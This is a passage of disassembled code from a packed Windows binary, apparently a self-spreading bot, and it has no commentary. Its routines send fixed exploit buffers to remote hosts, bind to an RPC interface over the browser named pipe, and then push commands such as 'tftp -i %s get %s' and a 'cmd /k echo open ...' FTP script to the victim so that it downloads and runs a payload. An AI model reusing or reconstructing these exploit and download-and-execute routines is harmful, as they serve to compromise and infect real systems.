		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_433CD0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_433D38
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_433DD0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_433F30
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434090
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_4341F0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40E269
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E269
		push	0
		push	15Bh
		push	offset dword_433DD0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_433F30
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434090
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_4341F0
		push	esi
		call	ebx	; send
		push	1387Fh
		lea	eax, [esp+218h+var_1F0]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch


loc_40E055:				; CODE XREF: sub_40DE14+450j
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40E269
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E269
		cmp	[esp+224h+arg_13720], 8Bh
		push	esi
		jnz	loc_40E26A
		call	dword_42821C	; closesocket
		jmp	loc_40DE6E
; ---------------------------------------------------------------------------


loc_40E08E:				; CODE XREF: sub_40DE14+95j
					; sub_40DE14+9Ej
		mov	ebx, dword_428224
		push	edi
		push	48h
		push	offset unk_434260
		push	esi
		call	ebx	; send
		mov	ebp, dword_428218
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_4342B0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_434310
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_4343C8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	66h
		push	offset dword_4344C0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_434528
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_434568
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_4345D0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434668
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_4347C8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434928
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434A88
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_434BE8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40E269
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E269
		push	0
		push	15Bh
		push	offset dword_434668
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_4347C8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434928
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+238h+var_210]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434A88
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+258h+var_230]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_434BE8
		push	esi
		call	ebx	; send
		jmp	loc_40E055
; ---------------------------------------------------------------------------


loc_40E269:				; CODE XREF: sub_40DE14+1C4j
					; sub_40DE14+1CDj ...
		push	esi


loc_40E26A:				; CODE XREF: sub_40DE14+269j
		call	dword_42821C	; closesocket
		push	7D0h
		call	dword_428064	; Sleep
		push	0BEEFh
		lea	esi, [esp+1B0h+arg_136F8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_418C7F
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		neg	eax


loc_40E2A5:				; CODE XREF: sub_40DE14+5Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13894h
		retn
sub_40DE14	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E2B0	proc near		; CODE XREF: .packed:0040D733p

var_200		= byte ptr -200h
arg_0		= byte ptr  8
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_A0], 8Bh
		push	edi
		jz	short loc_40E2D5
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40E314


loc_40E2D5:				; CODE XREF: sub_40E2B0+17j
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DE14
		mov	esi, eax
		add	esp, 0BCh
		test	esi, esi
		jz	short loc_40E314
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A5
		mov	eax, [ebp+arg_A8]
		pop	ecx
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]


loc_40E314:				; CODE XREF: sub_40E2B0+23j
					; sub_40E2B0+44j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_40E2B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E31A	proc near		; CODE XREF: sub_40E453+24Ep

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CDCA4	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4CDC64	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CDCE4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E42C
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CDC0C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E42C
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CDC7C	; recv
		mov	esi, offset byte_42A10C
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AB14
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 18h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E42C
		push	1F4h
		call	dword_428064	; Sleep
		push	esi
		push	offset dword_42B53C
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E430


loc_40E42C:				; CODE XREF: sub_40E31A+50j
					; sub_40E31A+66j ...
		xor	al, al
		jmp	short loc_40E44E
; ---------------------------------------------------------------------------


loc_40E430:				; CODE XREF: sub_40E31A+110j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CDC7C	; recv
		push	ebx
		call	dword_4CDCFC	; closesocket
		mov	al, 1


loc_40E44E:				; CODE XREF: sub_40E31A+114j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E31A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E453	proc near		; CODE XREF: sub_40E6CD+16p
					; sub_40E6CD+39p

var_1D24	= byte ptr -1D24h
var_D24		= byte ptr -0D24h
var_CF8		= byte ptr -0CF8h
var_CF4		= byte ptr -0CF4h
var_CF0		= byte ptr -0CF0h
var_CEC		= byte ptr -0CECh
var_A28		= byte ptr -0A28h
var_A24		= byte ptr -0A24h
var_4F4		= byte ptr -4F4h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1D24h
		call	sub_41C2F0
		push	ebx
		push	esi
		push	edi
		push	830h
		lea	eax, [ebp+var_D24]
		push	0
		push	eax
		call	sub_41BD60
		push	264h
		lea	eax, [ebp+var_2EC]
		push	0FFFFFF90h
		push	eax
		call	sub_41BD60
		push	15Bh
		lea	eax, [ebp+var_2EC]
		push	offset dword_434D58
		push	eax
		call	near ptr sub_41CAE0
		push	4
		lea	eax, [ebp+var_88]
		pop	ebx
		push	ebx
		push	offset dword_434F20
		push	eax
		call	near ptr sub_41CAE0
		push	8
		lea	eax, [ebp+var_84]
		push	41h
		push	eax
		call	sub_41BD60
		mov	esi, offset dword_434F18
		push	ebx
		lea	eax, [ebp+var_7C]
		push	esi
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 48h
		lea	eax, [ebp+var_78]
		push	20h
		push	0FFFFFF90h
		push	eax
		call	sub_41BD60
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		call	near ptr sub_41CAE0
		push	8
		lea	eax, [ebp+var_54]
		push	42h
		push	eax
		call	sub_41BD60
		push	ebx
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		call	near ptr sub_41CAE0
		push	20h
		lea	eax, [ebp+var_48]
		push	0FFFFFF90h
		push	eax
		call	sub_41BD60
		push	2Ch
		lea	eax, [ebp+var_D24]
		push	offset dword_434D04
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 48h
		mov	edi, offset dword_434F10
		lea	eax, [ebp+var_CF8]
		push	ebx
		push	edi
		push	eax
		call	near ptr sub_41CAE0
		mov	esi, offset dword_4D0974
		push	ebx
		lea	eax, [ebp+var_CF4]
		push	esi
		push	eax
		call	near ptr sub_41CAE0
		push	ebx
		lea	eax, [ebp+var_CF0]
		push	edi
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_2EC]
		push	2C4h
		push	eax
		lea	eax, [ebp+var_CEC]
		push	eax
		call	near ptr sub_41CAE0
		push	ebx
		lea	eax, [ebp+var_A28]
		push	esi
		push	eax
		call	near ptr sub_41CAE0
		push	1Ch
		lea	eax, [ebp+var_A24]
		push	offset dword_434D34
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 48h
		lea	eax, [ebp+arg_4]
		mov	edi, 104h
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_3F0]
		push	edi
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_3F0]
		add	esp, 10h
		xor	esi, esi
		mov	[ebp+var_14], eax
		mov	eax, offset byte_43FE14
		push	esi
		push	eax
		push	eax
		lea	eax, [ebp+var_28]
		mov	[ebp+var_24], esi
		push	eax
		mov	[ebp+var_18], esi
		mov	[ebp+var_C], esi
		call	sub_41B7A4
		test	eax, eax
		jz	short loc_40E5F3
		push	offset aFailedToConnec ; "[-] Failed to	connect	to host	!\n"
		call	sub_41D9BC
		pop	ecx


loc_40E5EC:				; CODE XREF: sub_40E453+1D6j
					; sub_40E453+229j ...
		xor	eax, eax


loc_40E5EE:				; CODE XREF: sub_40E453+275j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E5F3:				; CODE XREF: sub_40E453+18Cj
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_4F4]
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 10h
		lea	eax, [ebp+var_4F4]
		push	esi
		push	esi
		push	3
		push	esi
		push	esi
		push	0C0000000h
		push	eax
		call	dword_4280EC	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40E5EC
		push	offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n"
		call	sub_41D9BC
		pop	ecx
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_1D24]
		push	1000h
		push	eax
		push	49h
		push	offset dword_434CB8
		push	edi
		call	dword_4280F0	; TransactNamedPipe
		test	eax, eax
		jz	short loc_40E675
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_D24]
		push	830h
		push	eax
		push	edi
		call	dword_4280E0	; WriteFile
		test	eax, eax
		jnz	short loc_40E681


loc_40E675:				; CODE XREF: sub_40E453+204j
		push	edi
		call	dword_42806C	; CloseHandle
		jmp	loc_40E5EC
; ---------------------------------------------------------------------------


loc_40E681:				; CODE XREF: sub_40E453+220j
		push	0FAh
		call	dword_428064	; Sleep
		push	115Ch
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E31A
		add	esp, 0C0h
		test	al, al
		jz	loc_40E5EC
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	loc_40E5EE
sub_40E453	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E6CD	proc near		; CODE XREF: .packed:0040D74Bp

arg_0		= byte ptr  4

		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E453
		add	esp, 0BCh
		test	eax, eax
		jnz	short loc_40E719
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E453
		add	esp, 0BCh
		neg	eax
		sbb	eax, eax
		neg	eax
		jmp	short loc_40E71C
; ---------------------------------------------------------------------------


loc_40E719:				; CODE XREF: sub_40E6CD+23j
		xor	eax, eax
		inc	eax


loc_40E71C:				; CODE XREF: sub_40E6CD+4Aj
		pop	edi
		pop	esi
		retn
sub_40E6CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E71F	proc near		; CODE XREF: sub_40E80D+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_428234	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_42820C	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_428220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E7ED
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E7ED
		mov	edi, 400h
		push	esi
		mov	esi, dword_428218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42A10C
		push	eax
		push	eax
		push	dword_4CD998
		push	[ebp+arg_0]
		call	sub_40AB14
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C150
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_428224	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E7F1


loc_40E7ED:				; CODE XREF: sub_40E71F+50j
					; sub_40E71F+62j
		xor	eax, eax
		jmp	short loc_40E808
; ---------------------------------------------------------------------------


loc_40E7F1:				; CODE XREF: sub_40E71F+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_42821C	; closesocket
		xor	eax, eax
		inc	eax


loc_40E808:				; CODE XREF: sub_40E71F+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E71F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E80D	proc near		; CODE XREF: sub_40BFAA+1D7p
					; DATA XREF: .packed:off_432A94o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CDCA4	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CDC64	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_428220	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E87F
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E860
		push	esi
		jmp	short loc_40E879
; ---------------------------------------------------------------------------


loc_40E860:				; CODE XREF: sub_40E80D+4Ej
		push	0
		push	1213h
		push	offset dword_434F28
		push	esi
		call	dword_428224	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E883


loc_40E879:				; CODE XREF: sub_40E80D+51j
		call	dword_42821C	; closesocket


loc_40E87F:				; CODE XREF: sub_40E80D+3Cj
		xor	eax, eax
		jmp	short loc_40E8C1
; ---------------------------------------------------------------------------


loc_40E883:				; CODE XREF: sub_40E80D+6Aj
		call	dword_42821C	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E71F
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E8BE
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]


loc_40E8BE:				; CODE XREF: sub_40E80D+9Ej
		xor	eax, eax
		inc	eax


loc_40E8C1:				; CODE XREF: sub_40E80D+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E80D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8C5	proc near		; CODE XREF: .packed:0040EB2Bp
					; .packed:0040EB48p ...

var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	edi
		mov	esi, offset dword_4D0974
		lea	edi, [ebp+var_10]
		mov	ax, word_4361E0
		movsd
		movsb
		mov	esi, offset dword_4D0A80
		lea	edi, [ebp+var_18]
		mov	[ebp+var_2], ax
		mov	ax, word_4361DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CDB1C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_40E98E
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_40E917:				; CODE XREF: sub_40E8C5+C4j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_40E934
		dec	eax
		jnz	short loc_40E982
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CDCB4	; send
		lea	eax, [ebp+var_4]
		jmp	short loc_40E945
; ---------------------------------------------------------------------------


loc_40E934:				; CODE XREF: sub_40E8C5+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CDCB4	; send
		lea	eax, [ebp+var_6]


loc_40E945:				; CODE XREF: sub_40E8C5+6Dj
		push	esi
		push	1
		push	eax
		push	edi
		call	dword_4CDCB4	; send
		push	ebx
		call	sub_41B7B0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_40E964
		push	4
		lea	eax, [ebp+var_10]
		jmp	short loc_40E969
; ---------------------------------------------------------------------------


loc_40E964:				; CODE XREF: sub_40E8C5+96j
		push	5
		lea	eax, [ebp+var_18]


loc_40E969:				; CODE XREF: sub_40E8C5+9Dj
		push	eax
		push	edi
		call	dword_4CDCB4	; send
		push	esi
		push	ebx
		call	sub_41B7B0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CDCB4	; send


loc_40E982:				; CODE XREF: sub_40E8C5+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_40E917
		pop	ebx
		jmp	short loc_40EA01
; ---------------------------------------------------------------------------


loc_40E98E:				; CODE XREF: sub_40E8C5+42j
		dec	eax
		jz	short loc_40E9AA
		dec	eax
		jnz	short loc_40EA01
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CDCB4	; send
		lea	eax, [ebp+var_4]
		jmp	short loc_40E9BE
; ---------------------------------------------------------------------------


loc_40E9AA:				; CODE XREF: sub_40E8C5+CAj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CDCB4	; send
		lea	eax, [ebp+var_6]


loc_40E9BE:				; CODE XREF: sub_40E8C5+E3j
		push	esi
		push	1
		push	eax
		push	edi
		call	dword_4CDCB4	; send
		push	[ebp+arg_4]
		call	sub_41B7B0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_40E9DF
		push	4
		lea	eax, [ebp+var_10]
		jmp	short loc_40E9E4
; ---------------------------------------------------------------------------


loc_40E9DF:				; CODE XREF: sub_40E8C5+111j
		push	5
		lea	eax, [ebp+var_18]


loc_40E9E4:				; CODE XREF: sub_40E8C5+118j
		push	eax
		push	edi
		call	dword_4CDCB4	; send
		push	esi
		push	[ebp+arg_4]
		call	sub_41B7B0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CDCB4	; send


loc_40EA01:				; CODE XREF: sub_40E8C5+C7j
					; sub_40E8C5+CDj
		pop	edi
		pop	esi
		leave
		retn
sub_40E8C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_436218
		lea	edi, [ebp-38h]
		mov	ax, word_4361DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_436214
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_4D0974
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_436210
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43620C
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-2], ax
		mov	[ebp-4], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-6], ax
		xor	edi, edi
		call	dword_4CDCE4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp-1Ch], ebx
		jnz	short loc_40EA80
		push	eax
		call	dword_4CDCFC	; closesocket


loc_40EA80:				; CODE XREF: .packed:0040EA77j
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CDCA4	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CDC64	; ntohs
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CDC0C	; connect
		test	eax, eax
		jnz	loc_40ECA2


loc_40EAB8:				; CODE XREF: .packed:0040ECE0j
					; .packed:0040ED18j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CDC7C	; recv
		cmp	eax, esi
		jle	short loc_40EB16
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EB16
		mov	eax, edi
		sub	eax, esi
		jz	loc_40ECE5
		dec	eax
		jz	loc_40ECB0
		dec	eax
		jnz	loc_40ED15
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECA2


loc_40EB16:				; CODE XREF: .packed:0040EADDj
					; .packed:0040EAE2j ...
		push	esi
		lea	eax, [ebp-4]
		push	1
		push	eax
		push	ebx
		call	dword_4CDCB4	; send
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_40E8C5
		mov	esi, dword_428064
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp-6]
		push	0
		push	eax
		push	ebx
		call	sub_40E8C5
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_40E8C5
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		and	dword ptr [ebp-18h], 0
		mov	ebx, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
		push	ebx
		call	sub_41B7B0
		test	eax, eax
		pop	ecx
		jbe	short loc_40EBB8


